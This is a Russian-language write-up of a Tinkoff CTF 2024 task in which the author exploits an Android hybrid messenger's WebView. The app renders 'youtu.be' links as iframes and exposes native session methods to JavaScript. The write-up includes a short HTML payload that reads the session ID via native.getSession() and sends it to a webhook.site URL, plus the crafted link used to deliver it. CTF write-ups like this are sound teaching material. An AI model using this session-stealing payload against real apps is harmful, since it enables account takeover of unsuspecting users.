Реальная реальность Write-up | Tinkoff CTF 2024

от автора

Ссылка на задание https://ctf.tinkoff.ru/tasks/rreality

Автор задания: Даниил Фукалов (@denciks), SPbCTF

Сотрудники пришли на совещание в шлемах виртуальной реальности. Они никого не слушают и тайком что-то смотрят. Узнайте, что именно.

Приложение: rreality_879996x.apk

Устанавливаем приложение на эмулятор и запускаем. Нас встречает минималистичная форма входа и регистрации. Создаём аккаунт и входим. Admin уже начал с нами диалог и отправил ссылку на YouTube.

Диалог с админом

Диалог с админом

Проваливаемся в диалог.

Rickroll

Rickroll

Помимо любви админа к мемам, замечаем важную деталь, что отправленная им ссылка отобразилась не только как текст, а ещё и в виде встроенного плеера. При нажатии на видео оно воспроизводится прямо в диалоге. Отсюда понимаем, что имеем дело с WebView. Также, это легко заметить, если декомпилировать приложение и посмотреть что представляет из себя код MainActivity.

package com.spbctf.messenger;  import android.os.Bundle; import android.webkit.WebView; import androidx.activity.ComponentActivity; import androidx.activity.compose.ComponentActivityKt; import kotlin.Metadata;  public final class MainActivity extends ComponentActivity {      public void onCreate(Bundle savedInstanceState) {         super.onCreate(savedInstanceState);         WebView.setWebContentsDebuggingEnabled(true);     } }

Замечаем, что разработчик заботливо оставил для нас включенным инструменты отладки веб-вью компонента. В Google Chrome на компьютере переходим в chrome://inspect и анализируем исходники.

Приложение в инструменте отладки веб-вью

Приложение в инструменте отладки веб-вью

Анализируя JavaScript код или методом тыка, замечаем что, если сообщение содержит текст youtu.be, то приложение считает, что нам отправили ссылку на видео и преобразует его в iframe со встраиваемым плеером:

c = "youtu.be" ... children: [t.message, t.message.includes(c) && (0, ... n.jsx)("iframe", {src: t.message.replace(c, "youtube.com/embed/"),

В голову приходит идея отправить сообщение админу со ссылкой на вебхук, в котором в URL будет содержаться youtu.be (обычные вебхуки уже были проверены на этапе метода тыка и они не срабатывали). Отправляем админу нашу ссылку:

https://webhook.site/your_token_key?hey=https://www.youtu.be/watch?v=Dm8gSDnnpbE

На момент написания статьи, похоже, админ уже перестал ходить по ссылкам (или что-то сломалось), но во время CTF можно было увидеть, что админ сходил по ней.

Отлично, теперь нужно придумать как эксплуатировать это.

Во время анализа декомпилированного кода приложения или JavaScript кода в хроме можно было заметить, что из натива в веб пробрасываются три метода:

package com.spbctf.messenger.js;  import android.webkit.JavascriptInterface; import com.spbctf.messenger.session.SessionController; import com.spbctf.messenger.ui.MainViewModel; import kotlin.Metadata; import kotlin.jvm.internal.Intrinsics;  public final class JsApiProd implements JsApi {     private final MainViewModel mainViewModel;     private final SessionController sessionController;      public JsApiProd(SessionController sessionController, MainViewModel mainViewModel) {         Intrinsics.checkNotNullParameter(sessionController, "sessionController");         Intrinsics.checkNotNullParameter(mainViewModel, "mainViewModel");         this.sessionController = sessionController;         this.mainViewModel = mainViewModel;     }      @Override // com.spbctf.messenger.js.JsApi     @JavascriptInterface     public String getSession() {         return this.sessionController.getSession();     }      @Override // com.spbctf.messenger.js.JsApi     @JavascriptInterface     public String getUsername() {         return this.sessionController.getUsername();     }      @Override // com.spbctf.messenger.js.JsApi     @JavascriptInterface     public void logout() {         this.mainViewModel.logout();     } }

То есть в JavaScript коде можно вызвать native.getSession() и вызов передастся в нативную часть приложения (на Kotlin), которая отдаст обратно в веб идентификатор сессии. Такого рода приложения называются гибридными.

Так как iframe обрабатывается тем же WebView, что и основной веб-код, то и для него доступны обращения к этим нативным методам.

Пишем простейшую html страницу с кражей сессии:

<html>   <head>     <script type="text/javascript">       window.onload = function() {         document.location = "https://webhook.site/your_token_key?data=" + native.getUsername() + "_" + native.getSession();       };     </script>   </head>   <body>   </body> </html>

Размещаем html у себя на хостинге или в Firebase и отправляем ссылку админу. Моя ссылка выглядела примерно так:

https://my-demo.web.app/office?q=https://www.youtu.be/watch?v=Dm8gSDnnpbE

Репортим флаг и продолжаем попытки решить задачу с мемотавром!


ссылка на оригинал статьи https://habr.com/ru/articles/812495/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *